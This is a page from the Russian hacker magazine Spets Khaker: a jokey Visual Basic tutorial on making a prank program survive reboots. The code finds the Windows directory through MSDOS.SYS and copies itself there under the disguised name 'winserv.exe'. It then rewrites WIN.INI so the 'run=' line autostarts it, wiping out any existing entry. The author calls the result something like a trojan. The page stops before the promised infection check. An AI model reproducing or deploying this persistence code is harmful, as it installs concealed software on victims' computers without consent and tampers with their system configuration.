Бешеная блинница

Спецвыпуск Хакер, номер #004, стр. 004-122-4

Самое интересное... для продвинутых :)

Слышь, пельмень, ты не заметил, что чего-то в нашей прогенции не хватает? Вот смотри: запустит юзверь прогу, разозлится и перезагрузит комп :(. Обидно... Надо это дело обходить. Есть такой файл в каталоге Выни, WIN.INI называется, а в нем, в свою очередь, есть строка - run=<имя_файла>. Так вот, если в эту строку поставить нашу прогу, то будет кульно, очень кульно :).

Для начала нужно определить каталог Выни. Это, конечно, можно сделать ОЧЕНЬ просто (даже еще проще), но мы пойдем другим путем. В корневом каталоге диска С: есть рульное файло - MSDOS.SYS называется, там тоже есть строчка - WinDir=<путь_к_выни>, она-то нам и нужна. Пиши (в самом начале Form_Load):

Open "c:\msdos.sys" For Input As #1 ' откроем файл для чтения...

Input #1, MustDieDir ' строка "WinDir=каталог_выни"

Input #1, MustDieDir ' вторая по счету

Close #1 ' закроем :)

MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) - 7) ' убираем "WinDir=", т.е. вытираем все буквы, начиная с первой и заканчивая 7-й включительно.

Теперь у нас в переменной MustDieDir хранится название каталога Выни. Дальше нам нужно закопироваться в этот каталог с каким-нибудь "умным" названием - winserv.exe, например (ой, это уже что-то вроде трояна получается :)). Для этого в VisalBasic'е есть проца - FileCopy <откуда_и_что>,<куда>. Пиши:

FileCopy "blin.exe", MustDieDir + "\winserv.exe" ' дополним Вынь нужной службой, убирающей баги :)).

Осталось только обеспечить себе автозагрузку. Это, с одной стороны, просто, а с другой - еще проще. Для начала сделаем копию WIN.INI для дальнейшего использования. Назовем это файло, например, blin.col. После этого подправим старый WIN.INI, для начала удалив его, а потом восстановив построчным копированием с небольшим изменением строки "run=". Набивай, если не устал, а если устал, то попроси соседа - он с радостью тебе поможет:

FileCopy MustDieDir + "\win.ini", MustDieDir + "\blin.col" ' делаем копию, надо

Open MustDieDir + "\blin.col" For Input As #1 ' конструируем новый WIN.INI

Open MustDieDir + "\win.ini" For Output As #2 ' сначала вытрем старый, а зачем он нам?

While Not EOF(1) ' пока файл не кончился, копируем построчно

Input #1, Temp ' читаем

If Mid$(Temp, 1, 4) = "run=" Then Temp = "run=winserv.exe" ' прописываемся в "run="

Print #2, Temp ' пишем :)

Wend

Close #1, #2

Вроде все хорошо, даже работает, но есть один баг - каждый раз копировать WIN.INI и самого себя? Вот, надо просто добавить проверку на "инфицированность" (эти строчки вставляй после MustDieDir = Mid$(MustDieDir, 8, Len(MustDieDir) - 7) ):

Назад на стр. 004-122-3  Содержание  Вперед на стр. 004-122-5

загрузка...
Cпец Хакер #075Cпец Хакер #074Cпец Хакер #073Cпец Хакер #072Cпец Хакер #071Cпец Хакер #070Cпец Хакер #069Cпец Хакер #068Cпец Хакер #067Cпец Хакер #066Cпец Хакер #065Cпец Хакер #064Cпец Хакер #063Cпец Хакер #062Cпец Хакер #061Cпец Хакер #060Cпец Хакер #059Cпец Хакер #058Cпец Хакер #057Cпец Хакер #056Cпец Хакер #055Cпец Хакер #054Cпец Хакер #053Cпец Хакер #052Cпец Хакер #051Cпец Хакер #050Cпец Хакер #049Cпец Хакер #048Cпец Хакер #047Cпец Хакер #046Cпец Хакер #045Cпец Хакер #044Cпец Хакер #043Cпец Хакер #042Cпец Хакер #041Cпец Хакер #040Cпец Хакер #039Cпец Хакер #038Cпец Хакер #037Cпец Хакер #036Cпец Хакер #035Cпец Хакер #034Cпец Хакер #033Cпец Хакер #032Cпец Хакер #031Cпец Хакер #030Cпец Хакер #029Cпец Хакер #028Cпец Хакер #027Cпец Хакер #026Cпец Хакер #025Cпец Хакер #024Cпец Хакер #023Cпец Хакер #022Cпец Хакер #021Cпец Хакер #020Cпец Хакер #019Cпец Хакер #018Cпец Хакер #017Cпец Хакер #016Cпец Хакер #015Cпец Хакер #014Cпец Хакер #013Cпец Хакер #012Cпец Хакер #011Cпец Хакер #010Cпец Хакер #009Cпец Хакер #008Cпец Хакер #007Cпец Хакер #006Cпец Хакер #005Cпец Хакер #004Cпец Хакер #003Cпец Хакер #002Cпец Хакер #001